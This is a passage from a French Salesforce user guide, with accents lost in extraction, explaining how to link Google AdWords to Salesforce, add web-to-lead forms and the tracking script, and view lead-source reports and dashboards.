page conue spcifiquement pour vos annonces Google. Les pages de destination contiennent gnralement un formulaire
Web vers piste ainsi qu'une offre qui invite l'utilisateur renseigner un formulaire Web vers piste du type je souhaite recevoir
plus d'informations .
Lorsqu'un utilisateur saisit des informations dans un formulaire Web vers piste, une piste est cre dans votre organisation
Salesforce.com. Les pistes ayant pour origine Google Adwords ont la valeur Google Adwords dans le champ Origine de
la piste et un enregistrement d'activit indiquant la campagne Google Adwords, le groupe d'annonces, le titre de l'annonce
et les mots-cls ayant entran la piste sur votre site Web.
Avec chaque nouvelle piste, un tableau de bord et des rapports Google Adwords sont mis jour dans Salesforce.com. Utilisez
le tableau de bord et les rapports pour analyser l'efficacit de votre investissement Google Adwords. En outre, lorsque les pistes
sont converties en opportunits de vente, vous pouvez suivre facilement la faon dont votre investissement Google Adwords
gnre des en-cours et aboutit des affaires cltures.
Une fois les rapports et le tableau de bord Google Adwords analyss, vous pouvez revenir Google Adwords et adapter vos
annonces en vue d'optimiser les performances.
Pour plus d'informations sur Google Adwords, consultez le Centre de formation Google Adwords.

Voir aussi :
FAQ Salesforce CRM et Google AdWords
Concepts Salesforce CRM et Google AdWords
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords

Salesforce pour Google Adwords

Guide de l'utilisateur | Prsentation de Salesforce CRM et Google AdWords | 1820

Prsentation de Salesforce CRM et Google AdWords

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La prise en main de Salesforce CRM et Google Adwords est simple. Consultez les sections suivantes pour configurer Salesforce
CRM et Google Adwords :
1. Inscription Google Adwords
2. Configuration de votre site Web pour le suivi des pistes
3. Suivi des pistes et mesure du ROI

Voir aussi :
Inscription : Nouveau compte Google AdWords
Inscription : Liaison vers un compte Google Adwords existant
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords
Configuration de la fonction Web vers piste

Inscription Google Adwords

Dans Salesforce.com, cliquez sur l'onglet Configuration de Google AdWords pour crer un compte Google AdWords ou un
lien vers un compte existant :

Pour crer un compte Google Adwords, saisissez une adresse e-mail, un mot de passe, une devise et un fuseau horaire, puis
cliquez sur Crer un compte. Pour plus d'informations, reportez-vous Inscription : nouveau compte Google Adwords.
Pour lier un compte Google Adwords existant Salesforce.com, saisissez votre identifiant client AdWords, puis cliquez
sur Lier le compte. Pour plus d'informations, reportez-vous Inscription : lien vers un compte Google Adwords existant.

Configuration de votre site Web pour le suivi des pistes

Pour transformer les visiteurs de votre site Web en pistes, vous devez recueillir des informations les concernant. Vous pouvez
y parvenir grce un simple formulaire Web vers piste, au format HTML, que vous pouvez ajouter n'importe quelle page
de votre site. Les formulaires Web vers piste rassemblent des informations sur les visiteurs du site Web et crent automatiquement
de nouvelles pistes dans Salesforce.com.
Lorsque votre compte Google AdWords nouveau ou existant est actif et li Salesforce.com, vous pouvez configurer un
formulaire Web vers piste.
1. Cliquez sur Configuration du suivi de piste sous l'onglet Configuration de Google AdWords.
2. Cliquez sur Cration d'un formulaire Web vers piste.
Remarque: Si vous avez dj un formulaire de capture de piste sur votre site Web, cliquez sur Je possde dj un
formulaire de capture de piste sur mon site Web.

Salesforce pour Google Adwords

Guide de l'utilisateur | Inscription : Nouveau compte Google AdWords | 1821

3. Slectionnez les champs que vous souhaitez capturer et saisissez l'URL de la page afficher lorsque le visiteur du site Web
a soumis les informations.
4. Cliquez sur Gnrer. Copiez et collez le code HTML ou cliquez sur Instructions imprimables dtailles pour envoyer
les informations votre administrateur Web.
5. Cliquez sur Termin.
6. Dans la section Ajouter le code de suivi votre site Web de la page Configuration du suivi de pistes, cliquez sur Afficher
les instructions, puis suivez les instructions d'ajout du code de suivi JavaScript dans toutes les pages de votre site Web. Le
code de suivi capture des informations sur les visiteurs de votre site Web, parmi lesquelles l'origine des pistes gnres sur
votre site Web et les aspects de vos campagnes Google AdWords qui gnrent des pistes, puis corrlez ces informations
avec les pistes gnres depuis votre site Web.
7. Cliquez sur Tester votre configuration pour vrifer le fonctionnement de votre formulaire Web vers piste.
Pour obtenir des instructions plus dtailles, reportez-vous Configuration du suivi des pistes la page 1824.

Suivi des pistes et mesure du ROI

Le suivi des pistes du site Web permet aux clients Salesforce.com de faire le lien entre leur investissement dans Google Adwords
et les pistes, les opportunits et les ventes qui en rsultent. Vous pouvez consulter la valeur et les rsultats fournis par le suivi
des pistes du site Web aux endroits suivants :

Origine de la piste : Salesforce.com renseigne automatiquement le champ Origine de la piste dans les pistes en
fonction des lments suivants : origine, clic sur votre annonce ou recherche d'un mot-cl dans un moteur de recherche,
rfrencement dans un site Web, piste organique ou utilisateur ayant accd directement votre URL.
ATTENTION: Salesforce.com remplit automatiquement le champ Origine de la piste concernant les
pistes gnres la suite de vos campagnes Google. Si vous souhaitez bnficier d'informations personnalises sur
l'origine des pistes partir de votre site Web, nous vous conseillons de crer un champ personnalis.

Dtails de l'origine de la piste : Lorsque le champ Origine de la piste est mis jour, Salesforce.com cre galement
l'enregistrement d'activit Dtails de l'origine de la piste, qui fournit des dtails supplmentaires sur l'origine d'une piste,
par exemple une campagne, un groupe d'annonces, un mot-cl, une URL de rfrence ou un moteur de recherche.
Rapports : Salesforce.com comprend 17 rapports standard Salesforce CRM et Google Adwords, qui suivent les pistes, les
opportunits et les affaires cltures gnres par les campagnes Google Adwords, les groupes d'annonces, les annonces
textuelles et les mots-cls. Pour visualiser les rapports Google Adwords, cliquez sur l'onglet Rapports. Dans la liste droulante
Dossier, slectionnez Rapports Google Adwords.
Tableaux de bord : Salesforce.com inclut un tableau de bord de recherche marketing unique qui vous permet de suivre vos
performances Google Adwords pour la gnration de pistes et d'en-cours, les opportunits closes, ainsi que le ROI
d'AdWords.

Inscription : Nouveau compte Google AdWords

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour crer un compte Google AdWords et le connecter Salesforce.com :

1. Dans Salesforce.com, cliquez sur l'onglet Configuration de Google AdWords.

Salesforce pour Google Adwords

Guide de l'utilisateur | Inscription : Liaison vers un compte Google Adwords existant | 1822

2. Saisissez une adresse e-mail, un mot de passe, une devise et un fuseau horaire, puis cliquez sur Crer un compte.
Remarque: L'adresse e-mail et le mot de passe que vous saisissez deviennent les informations de connexion de
votre nouveau compte Google Adwords. Vous pouvez modifier ces informations tout moment. L'adresse e-mail
ne doit pas ncessairement tre identique celle que vous utilisez pour vous connecter Salesforce.com, mais elle
doit correspondre un compte de messagerie valide auquel vous avez accs.
Votre mot de passe doit tre form d'au moins sept caractres et contenir des lettres et chiffres.
Salesforce CRM et Google AdWords cre votre nouveau compte Google AdWords et vous envoie un e-mail de confirmation.
Avant de commencer utiliser Google Adwords pour crer des annonces en ligne, vous devez activer votre compte
Google Adwords.
3. Cliquez sur Inscrivez-vous et activez votre nouveau compte.
4. Lorsque vous y tes invit, saisissez votre nom d'utilisateur et votre mot de passe Google dans la fentre contextuelle
Google Adwords. Cela vous connecte l'application Google Adwords, o vous pouvez terminer l'activation.
5. Terminez l'activation de votre compte en compltant les lments suivants dans Google :
a.
b.
c.
d.

Slectionnez votre situation gographique

Choisissez le moyen de paiement
Acceptez les conditions d'utilisation de Google Adwords
Donnez des informations de facturation, comme le numro de votre carte de crdit

Une fois votre compte Google Adwords actif, vous pouvez crer et grer des campagnes de recherche marketing dans l'application.
Cependant, pour suivre des pistes, vous devez configurez le suivi des pistes la page 1824 dans Salesforce.com.
Remarque: Vous pouvez supprimer tout moment la connexion la page 1831 entre Salesforce.com et votre compte
Google AdWords.

Voir aussi :
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords
Utilisation de Salesforce CRM et Google AdWords

Inscription : Liaison vers un compte Google Adwords

existant
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Si vous possdez un compte Google AdWords, vous pouvez aisment lier Salesforce.com ce compte.
Remarque: Un seul compte Google Adwords peut tre li une organisation Salesforce.com. Si votre compte Google
AdWords est dj li une organisation Salesforce.com et que vous souhaitez lier une autre organisation Salesforce.com,
vous devez d'abord retirer le lien existant la page 1831.
Pour relier votre compte Google Adwords existant :

Salesforce pour Google Adwords

Guide de l'utilisateur | Inscription : Liaison vers un compte Google Adwords existant | 1823

1. Dans Salesforce.com, cliquez sur l'onglet Configuration de Google AdWords.

2. Entrez votre identifiant client AdWords.
L'identifiant client est le numro d'identification unique de votre compte Google Adwords. Pour retrouver votre identifiant
client AdWords, connectez-vous Google Adwords. Votre identifiant client se trouve en haut droite de l'cran.
Salesforce.com traite votre demande de liaison d'un compte AdWords existant. En fonction du moment de la journe, cela
peut prendre quelques heures. Salesforce.com vous envoie un e-mail une fois votre demande traite.
3. Lorsque Salesforce.com a trait la demande de liaison avec votre compte, cliquez sur l'onglet Configuration de
Google Adwords dans Salesforce.com, puis sur Se connecter AdWords et approuver afin d'approuver le lien dans
Google Adwords.
4. Confirmez l'accs votre compte Google Adwords existant en slectionnant Oui, j'accepte, puis cliquez sur Soumettre
la dcision. Cet accs est ncessaire afin que vous puissiez suivre dans Salesforce.com vos campagnes publicitaires, nouvelles
et existantes.
Remarque: Salesforce.com ne prend pas en charge la version simplifie Google AdWords Starter Edition. Si vous
utilisez Google AdWords Starter Edition, vous devez effectuer une mise niveau vers Google Standard Editio. Cliquez
sur Se connecter AdWords et effectuer une mise niveau.
Une fois le lien vers le compte approuv, vous devez configurer le suivi des pistes dans Salesforce.com ; reportez-vous
Configuration du suivi des pistes.
Une fois votre compte li et le suivi de pistes configur, Salesforce.com reconnat les campagnes nouvelles et mises jour depuis
Google Adwords. Vous pouvez visualiser des mesures importantes en rapport avec ces campagnes en utilisant le tableau de
bord et les rapports Google Adwords dans Salesforce.com. En outre, les pistes gnres la suite de vos annonces sont refltes
dans Salesforce.com toutes les 30 minutes.
Remarques concernant la mise en relation de votre compte Google Adwords
Gestion de vos campagnes Google Adwords
Une fois que votre compte Salesforce.com est reli votre compte Google Adwords, vous continuerez utiliser l'application
Google Adwords pour grer les campagnes existantes et en crer de nouvelles.
Dconnexion de votre compte Google Adwords
Vous pouvez supprimer tout moment la connexion la page 1831 entre Salesforce.com et votre compte Google AdWords.
Observations complmentaires
Une fois votre compte li, Salesforce.com met jour vos annonces textuelles existantes l'aide de paramtres d'URL
spciaux. Par exemple, vos URL de destination se prsentent dsormais comme suit :
http://www.mon-site-Web.com/pagedestination.html?_kk={mot-cl}&_kt=e4a16e51-426a-4c00-9aef-3389098c7a4a.

Ces paramtres d'URL sont essentiels pour le suivi par Salesforce.com des clics Google Adwords, mais ils ne seront pas
visibles pour les utilisateurs lors de l'affichage de votre annonce. L'application des paramtres d'URL permettra d'effectuer
les oprations suivantes :

Suppression des statistiques historiques uniquement pour le texte d'annonces existantes ; cette opration n'affecte
pas les statistiques relatives aux mots-cls, aux groupes d'annonces et aux campagnes Google AdWords.
Dclenchement d'une rvision ditoriale manuelle de vos annonces existant sur Google. Lors de cette opration, vos
annonces continuent apparatre sur www.google.com, mais elles risquent de ne pas tre prsentes sur le rseau de
contenu Google ou le rseau partenaire souscrit. L'excution de cette procdure dure gnralement moins d'un jour
ouvr.

Salesforce pour Google Adwords

Guide de l'utilisateur | Configuration du suivi des pistes | 1824

Salesforce.com ne fonctionne pas avec le type annonce localise . L'annonce commerciale locale est lie Google Maps
et diffre du ciblage publicitaire rgional ou gographique. L'utilisation de Salesforce CRM et Google Adwords convertit
automatiquement les annonces localises en annonces textuelles Google standard. Nous collaborons avec Google pour
rsoudre ce problme.

Voir aussi :
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords
Utilisation de Salesforce CRM et Google AdWords

Configuration du suivi des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction Web vers piste

Personnaliser l'application

Une fois que vous avez enregistr un compte Google Adwords auprs de Salesforce.com, vous devez configurer votre site Web
pour le suivi des pistes.
Suivez ces tapes pour configurer le site Web de votre socit afin de saisir des pistes et de suivre automatiquement les pistes
entrantes :
1. Cration d'un formulaire Web vers piste
2. Ajout d'un code de suivi sur toutes les pages de votre site Web
3. Test pour confirmer que la configuration de votre site Web est termine
Cration d'un formulaire Web vers piste
Si vous utilisez un formulaire Web vers piste, vous pouvez tirer parti des informations sur les contacts et les profils saisies par
les utilisateurs, et gnrer automatiquement de nouvelles pistes dans Salesforce.com, ce qui vous permet de rpondre aux
demandes de vos clients en temps rel.
1.
2.
3.
4.
5.

Dans Salesforce.com, cliquez sur l'onglet Configuration de Google AdWords.

Cliquez sur Configuration du suivi de piste.
Cliquez sur Cration d'un formulaire Web vers piste.
Slectionnez les champs en fonction des informations que vous souhaitez rassembler sur les visiteurs de votre site Web.
Dans le champ Renvoi de l'URL, saisissez l'URL de la page afficher une fois que le visiteur du site Web a soumis les
informations.
6. Cliquez sur Gnrer.
7. Copiez et collez le code HTML qui en rsulte et publiez-le sur votre site Web, ou cliquez sur Instructions imprimables
dtailles pour envoyer les informations votre administrateur Web.
8. Cliquez sur Termin.

Salesforce pour Google Adwords

Guide de l'utilisateur | Configuration du suivi des pistes | 1825

Certains administrateurs Web utilisent des formulaires de saisie de piste tiers ou ont cr des formulaires de saisie de piste
personnaliss qui traitent au pralable les donnes de piste avant de les insrer dans Salesforce.com. Si vous avez des formulaires
de saisie de piste sur votre site Web, vous devez leur ajouter un champ masqu, comme indiqu dans l'exemple ci-dessous :

<FORM action="http://www.masocit.com/formulaire_pistes.php"> ... <!-- Ajoutez le champ

masqu suivant vos formulaires de saisie de pistes existants --> <INPUT type="hidden"
name="sfga" value="insrez_ici_votre_oid_salesforce" /> ... <form>

Remarque: Vous pouvez trouver votre OID (ID d'organisation) salesforce.com dans le champ ID de
l'organisation salesforce.com en cliquant sur Configuration Profil de la socit Informations sur
la socit.
Ajout d'un code de suivi sur toutes les pages de votre site Web
Ajoutez le code de suivi ci-dessous en bas de chaque page de votre site Web.

<!- Dbut du code de suivi Salesforce, placer juste avant la balise </BODY> de fermeture
--> <SCRIPT type="text/javascript" src="https://lct.salesforce.com/sfga.js"></SCRIPT>
<SCRIPT type="text/javascript">__sfga();</SCRIPT> <!- Fin du code de suivi Salesforce,
placer juste avant la balise </BODY> de fermeture -->

Placez le code de suivi en bas de vos pages Web, juste avant la balise de fermeture </BODY>
Assurez-vous que le code de suivi n'est pas l'intrieur d'une balise <TABLE>, <TR>, <SPAN>, <DIV>, ou de tout autre
lment
Placez le code de suivi le plus bas possible sur la page si un autre code JavaScript figure sur votre page
Les pages ne contenant pas le code de suivi n'enregistrent pas correctement l'origine des pistes.

Test pour confirmer que la configuration de votre site Web est termine
Salesforce.com fournit un utilitaire de test de site Web qui permet de valider la configuration du suivi des pistes.
1. partir de la page Configuration du suivi de piste dans l'onglet Configuration de Google Adwords, cliquez sur Tester
votre configuration.
2. Saisissez les URL des pages de votre site Web dans lesquelles vous avez insr le code de suivi.
3. Si une page contient galement un formulaire Web vers piste, cochez la case Formulaire Web vers piste ?
4. Cliquez sur Excuter le test et suivez les instructions pour rsoudre les problmes de configuration.

Voir aussi :
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords
Le code de suivi Salesforce.com
Configuration de la fonction Web vers piste

Salesforce pour Google Adwords

Guide de l'utilisateur | Configuration du suivi des pistes | 1826

Le code de suivi Salesforce.com

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Qu'est-ce que le code de suivi Salesforce.com ?

Le code de suivi Salesforce.com est compos de deux lignes de code JavaScript qui doivent tre places sur chacune de
vos pages Web pour vous permettre de suivre les pistes.

<!- Dbut du code de suivi Salesforce, placer juste avant la balise </BODY> de fermeture
--> <SCRIPT type="text/javascript" src="https://lct.salesforce.com/sfga.js"></SCRIPT>
<SCRIPT type="text/javascript">__sfga();</SCRIPT> <!- Fin du code de suivi Salesforce,
placer juste avant la balise </BODY> de fermeture -->

Ce code suit l'origine de toutes les pistes gnres par le Web et inclut automatiquement ces informations vos pistes
Salesforce.com.
Par exemple :

Si un utilisateur accde votre site Web en cliquant sur votre annonce Google et remplit un formulaire Web vers
piste, l'origine de cette piste dans Salesforce.com indique Google Adwords.
Si un utilisateur accde votre site via le site Web d'un partenaire, puis remplit un formulaire Web vers piste, l'origine
de cette piste dans Salesforce.com indique Rfrencement de sites Web .

Comment utiliser le code de suivi Salesforce.com ?

Nous recommandons l'ajout du code de suivi au bas de toutes les pages de votre site Web, afin d'optimiser vos capacits
de suivi de pistes et de saisir des pistes aux origines aussi diffrentes que possible. Vous devez au moins ajouter le code
de suivi toutes les pages de destination et aux formulaires Web vers piste.

Placez le code de suivi en bas de vos pages Web, juste avant la balise de fermeture </BODY>
Assurez-vous que le code de suivi n'est pas l'intrieur d'une balise <TABLE>, <TR>, <SPAN>, <DIV>, ou de tout
autre lment
Placez le code de suivi le plus bas possible sur la page si un autre code JavaScript figure sur votre page
Les pages ne contenant pas le code de suivi n'enregistrent pas correctement l'origine des pistes.

Comment le code de suivi Salesforce.com est-il utilis avec d'autres codes de suivi ?
Votre site Web peut inclure d'autres codes de suivi, par exemple ceux qui servent aux analyses de sites Web, comme
Google Analytics ou WebSideStory. Ces codes de suivi fournissent une valeur complmentaire, mais n'ont aucune
consquence sur leurs performances rciproques.
Remarque: Assurez-vous que le code de suivi Salesforce.com se trouve au bas de vos pages, juste avant la balise
de fermeture body , mme si d'autres codes de suivi sont prsents sur la page. Votre code de suivi doit se trouver
cet endroit pour tre efficace.

Salesforce pour Google Adwords Guide de l'utilisateur | Visualisation des pistes suivies avec Salesforce CRM et Google Adwords | 1827

Visualisation des pistes suivies avec Salesforce CRM et

Google Adwords
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Salesforce CRM et Google Adwords permet de suivre l'origine dtaille des pistes gnres par les formulaires Web vers piste
placs sur votre site Web. Vous pouvez visualiser les informations de suivi des pistes depuis quatre zones :

Rsum de compte Google Adwords

Origine de la piste et dtails
Tableaux de bord
Rapports
Remarque: Le suivi des pistes met automatiquement jour la page de rsum de compte Google Adwords dans
Salesforce.com, le champ Origine de la piste, l'enregistrement d'activit Dtails de l'origine de la piste concernant
les pistes, ainsi que le tableau de bord et les rapports Google Adwords dans les trente minutes suivant la gnration
d'une piste par un formulaire Web vers piste configur pour le suivi des pistes.

Rsum de compte Google Adwords

La page de rsum de compte de l'onglet Configuration de Google Adwords affiche le statut des activits de gnration de
pistes et indique le nombre de pistes gnres par les sources suivantes :

Google AdWords
Recherche organique
Rfrencement de sites Web
Web Direct

Origine de la piste et dtails

Salesforce.com suit l'origine de toutes les pistes gnres sur le site Web et remplit automatiquement le champ Origine de
la piste concernant la piste. En outre, Salesforce.com cre un enregistrement d'activit pour la piste, avec des dtails sur
l'origine de la piste. Par exemple, pour une piste Google Adwords, l'enregistrement d'activit Dtails de l'origine de la piste
comprend la campagne Google Adwords, le groupe d'annonces, le mot-cl, l'annonce textuelle, le terme de recherche et l'URL
de rfrence. D'autres rfrencements organiques sur les moteurs de recherche et rfrencements de sites Web contiennent
l'URL de rfrence et le terme de recherche, le cas chant.
Pour visualiser l'origine d'une piste :
1. Cliquez sur l'onglet Pistes.
2. Recherchez une piste spcifique ou utilisez une vue de liste pour trouver ou filtrer plusieurs pistes.
3. Analysez le champ Origine de la piste pour dterminer l'origine de la piste.
Salesforce.com utilise les valeurs Origine de la piste suivantes :
Origine de la piste

Valeur du champ Origine de la piste

Clic sur une annonce Google Adwords

Google AdWords

Clic sur une liste de recherche organique

{Moteur de recherche } organique

Salesforce pour Google Adwords Guide de l'utilisateur | Visualisation des pistes suivies avec Salesforce CRM et Google Adwords | 1828

Origine de la piste

Valeur du champ Origine de la piste

Lien de rfrence, (d'un partenaire, par exemple), vers votre Rfrencement de sites Web
site Web
Utilisateur ayant saisi votre URL ou plac un signet

Web Direct

Remarque: Ces valeurs ne s'appliquent qu'aux pistes gnres par des formulaires Web vers piste contenant le
code de suivi JavaScript.
Salesforce.com cre des rapports sur les clics organiques dans les moteurs de recherche suivants : Altavista, AOL,
A9, Ask.com, Bing, EarthLink, Google, Lycos, Mamma, MSN, Netscape et Yahoo!.
4. Vous pouvez galement consulter l'enregistrement d'activit Dtails de l'origine de la piste dans la liste associe Historique
des activits de la piste pour visualiser des dtails supplmentaires.
Les tches sont attribues au responsable de la piste lors de la corrlation. Salesforce.com attribue des pistes appartenant
une file d'attente ou un utilisateur inactif, un utilisateur spcial appel Gestionnaire de licences.
ATTENTION: Salesforce.com remplit automatiquement le champ Origine de la piste concernant les pistes
gnres la suite de vos campagnes Google. Si vous souhaitez bnficier d'informations personnalises sur l'origine
des pistes partir de votre site Web, nous vous conseillons de crer un champ personnalis.
Tableaux de bord
Le tableau de bord Google Adwords dans Salesforce.com donne un aperu en temps rel des mesures importantes qui aident
suivre la gnration de pistes, la cration d'opportunits, la conclusion de contrats et le ROI. Utilisez le tableau de bord pour
consulter, entre autres, les statistiques et les graphiques suivants :

Les pistes gnres partir de Google Adwords

Les opportunits gnres partir de Google Adwords
Les en-cours gnrs partir de Google Adwords
Les affaires cltures et les nouveaux clients gnrs partir de Google Adwords
Les campagnes, mots-cls, expressions et titres d'annonces gnrant le plus grand nombre de pistes

Pour consulter le tableau de bord Google Adwords :

1. partir de la page de rsum du compte Google Adwords, cliquez sur Tableau de bord Google Adwords ou cliquez sur
l'onglet Tableaux de bord.
2. Slectionnez Tableau de bord Google Adwords dans la liste droulante.
Rapports
Les 17 rapports Salesforce CRM et Google Adwords rsument les donnes en rapport avec votre investissement Google Adwords.
Par exemple, vous pouvez visualiser un rapport de toutes les pistes gnres classes par groupe d'annonces ou par campagne
de search marketing, ou bien un rapport montrant le chiffre d'affaires gnr par des mots ou expressions-cls
Pour visualiser les rapports Google Adwords, cliquez sur l'onglet Rapports. Dans la liste droulante Dossier, slectionnez
Rapports Google Adwords.

Salesforce pour Google Adwords

Guide de l'utilisateur | Utilisation de Salesforce CRM et Google AdWords | 1829

Vous pouvez crer un rapport Google AdWords personnalis la page 1718 en cliquant sur Crer un rapport personnalis, et
personnaliser les rapports Google AdWords standard la page 1717.

Voir aussi :
Configuration du suivi des pistes
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords
Configuration de la fonction Web vers piste

Utilisation de Salesforce CRM et Google AdWords

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La page Rsum du compte de l'onglet Configuration de Google Adwords indique le statut de Salesforce CRM et
Google Adwords en ce qui concerne la configuration du compte et l'activit de gnration de pistes. Sur cette page, vous pouvez
grer votre lien vers le compte Google Adwords, configurer le suivi des pistes, visualiser les pistes suivies, consulter les questions
frquentes et naviguer vers Google afin de grer vos campagnes de recherche.

Pour crer ou modifier des campagnes Google, cliquez sur Crer ou modifier des campagnes AdWords. Ce lien ouvre
Google Adwords dans une nouvelle fentre. Pour revenir Salesforce.com, fermez cette fentre.
Si vous n'avez pas activ votre compte Google Adwords, cliquez sur Activer maintenant pour accder Google Adwords
et procder cette opration. Si votre compte est actif mais que Salesforce CRM et Google Adwords n'affiche pas ce statut,
vous pouvez galement cliquer sur Mon compte AdWords est actif.
Pour configurer le suivi des pistes ou modifier vos paramtres actuels, cliquez sur Configuration du suivi de piste.
Salesforce.com ne suit pas les statistiques des pistes avant que vous ayez termin la configuration du suivi des pistes du
site Web.
Pour consulter le dtail des pistes gnres par Google Adwords, cliquez sur Dtails de l'origine de la piste pour accder
la page d'accueil de l'onglet Pistes. partir de l, vous pouvez visualiser les pistes individuelles, consulter une vue de liste
de pistes comprenant le champ Origine de la piste ou cliquer sur Pistes par origine pour obtenir un rapport. Vous
pouvez dterminer les pistes gnres par Google Adwords en consultant le champ Origine de la piste la page
1827 de n'importe quelle piste.
Pour afficher le tableau de bord la page 1828 Google AdWords pour un instantan de mesures de suivi de piste, cliquez
sur Tableau de bord Google AdWords, puis slectionnez Tableau de bord Google AdWords dans la liste droulante.
Pour vous dconnecter du compte Google AdWords actuellement associ la page 1831, cliquez sur Modifier en regard de
l'ID client AdWords. Une fois ces tapes effectues, l'onglet Configuration de Google AdWords dans Salesforce.com
ouvre par dfaut la page d'inscription qui permet de crer un compte Google AdWords ou d'accder un compte existant.
Salesforce.com reconnat toute modification de votre adresse e-mail de connexion Google Adwords dans Google. Un
lien s'affiche sur la page pour vous inviter mettre jour Salesforce.com. Cliquez sur Mettre jour mon adresse e-mail
AdWords dans Salesforce.com, puis saisissez votre nouvelle adresse e-mail.

Voir aussi :
Configuration du suivi des pistes
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords

Salesforce pour Google Adwords

Guide de l'utilisateur | Concepts Salesforce CRM et Google AdWords | 1830

Concepts Salesforce CRM et Google AdWords

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Examinez la terminologie suivante utilise dans Salesforce CRM et Google Adwords :

Groupe d'annonces :
Ensemble de mots-cls et d'annonces textuelles qui dlivrent un message puissant et extrmement cibl. Vous crez et
grez vos groupes d'annonces dans Google Adwords.
Identifiant client AdWords
L'identifiant client AdWords est votre numro de compte unique pour Google Adwords.
Campagne Google
Une campagne Google reprsente un programme marketing spcifique comportant une srie d'annonces, de messages
et de mots-cls. Vous crez des campagnes Google dans Google Adwords et suivez les pistes, les opportunits et les
affaires dans Salesforce.com.
Mot-cl
Les mots-cls sont des termes que vous achetez dans Google Adwords. Google fait correspondre une expression recherche
vos mots-cls, ce qui fait apparatre votre annonce sur Google.Vous crez et grez vos mots-cls dans Google Adwords.
Page de destination
Page existant sur le site Web de votre socit ou une page que vous avez conue spcifiquement pour vos annonces Google.
Les pages de destination contiennent habituellement une offre et un formulaire Web vers piste.
Origine de la piste
Champ de la page contenant les dtails sur les pistes que Salesforce CRM et Google Adwords renseigne automatiquement
avec les informations sur l'origine de la piste. Salesforce CRM et Google Adwords utilise les valeurs d'origine de la piste
suivantes :
Origine de la piste

Valeur du champ Origine de la piste

Clic sur une annonce Google Adwords

Google AdWords

Clic sur une liste de recherche organique

{Moteur de recherche } organique

Lien de rfrence, (d'un partenaire, par exemple), vers votre Rfrencement de sites Web
site Web
Utilisateur ayant saisi votre URL ou plac un signet

Web Direct

Suivi des Pistes

Le suivi des pistes permet aux clients Salesforce.com de corrler leurs efforts en matire de marketing avec Google Adwords
et les pistes, les opportunits et les affaires qui en rsultent. Les termes suivi des pistes et suivi des pistes du site Web
sont synonymes.

Salesforce pour Google Adwords

Guide de l'utilisateur | Dconnexion de votre compte Google Adwords | 1831

Expression recherche
Requte que les utilisateurs saisissent pour effectuer une recherche sur www.google.fr.
Annonce textuelle
Publicit qui s'excute dans un moteur de recherche lorsqu'un utilisateur saisit vos mots-cls. Elle contient habituellement
un message invitant l'action avec un lien du moteur de recherche vers votre site Web. Vous crez et grez vos annonces
textuelles dans Google Adwords.
Code de suivi
Salesforce.com fournit un code de suivi JavaScript qui doit tre plac sur toutes les pages de votre site Web. Le code de
suivi fait automatiquement le lien entre l'activit sur le site Web, les dtails des clics Google Adwords et les pistes gnres
sur le site.

Voir aussi :
Prsentation de Salesforce CRM et Google AdWords
Prsentation de Salesforce CRM et Google Adwords
Configuration du suivi des pistes

Dconnexion de votre compte Google Adwords

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une fois connect l'un de vos comptes Google AdWords, Salesforce.com peut y accder et appliquer des codes de suivi aux
URL de destination de publicits associes. Lorsque vous vous dconnectez, vous annulez l'accs de Salesforce.com votre
compte Google AdWords. La dconnexion de Salesforce.com de Google AdWords ne supprime pas les codes de suivi des
URL de destination. Une fois dconnect, vous pouvez retirer manuellement et tout moment les codes de suivi. Toutefois,
si vous les conservez, les codes de suivi n'ont aucun impact sur les fonctionnalits de vos URL de destination. Pour dconnecter
Salesforce.com de votre compte Google Adwords, vous devez tre connect la fois Salesforce.com et Google Adwords.
1. Connectez-vous Salesforce.com.
a. Cliquez sur l'onglet Configuration de Google Adwords.
b. Cliquez sur le lien Changer dans la section Lien vers le compte AdWords.
2. Connectez-vous Google Adwords l'adresse www.google.com/adwords.
a. Cliquez sur l'onglet Mon compte, puis slectionnez Accs au compte.
b. Cliquez sur le lien Mettre fin l'accs en regard de l'utilisateur Salesforce.com.
Une fois ces tapes effectues, l'onglet Configuration de Google AdWords dans Salesforce.com pointe par dfaut vers la page
d'inscription qui permet de crer un compte Google AdWords ou d'accder un autre compte existant.

Voir aussi :
Inscription : Nouveau compte Google AdWords
Inscription : Liaison vers un compte Google Adwords existant

Salesforce pour Google Apps

Prsentation de Google Apps
Disponible avec : Toutes les ditions
Google Apps est une suite de services de communication et de collaboration la demande hbergs par Google et conus
pour les utilisateurs d'entreprise. Salesforce.com intgre des services Google Apps cls et offre plusieurs sous-applications
AppExchange qui amliorent et personnalisent les fonctionnalits associes Google. Pour configurer un compte Google
Apps pour votre entreprise, activer des services et crer des comptes Google Apps individuels pour vos utilisateurs Salesforce,
reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Les services suivants pour Google Apps sont intgrs Salesforce.com et ncessitent une simple activation par un administrateur
de Salesforce.com :
Ajoutez Google Documents Salesforce.com
Google Documents permet de crer des documents, des feuilles de calcul et des prsentations la demande, puis de
les modifier dans votre navigateur. Ensuite, vous pouvez travailler en temps rel avec d'autres collaborateurs. Lorsque le
service Ajouter Google Documents Salesforce.com est activ, vous pouvez :

utiliser la liste associe Google Documents, notes et pices jointes ou Google Documents et pices jointes sur tout
enregistrement Salesforce.com pour crer, modifier ou visualiser des documents Google et les associer un
enregistrement ;
partager un document Google avec tout utilisateur Google Apps dans votre entreprise ;
Associez de documents Google avec des enregistrements Salesforce.com mme si vous n'utilisez pas Salesforce.com
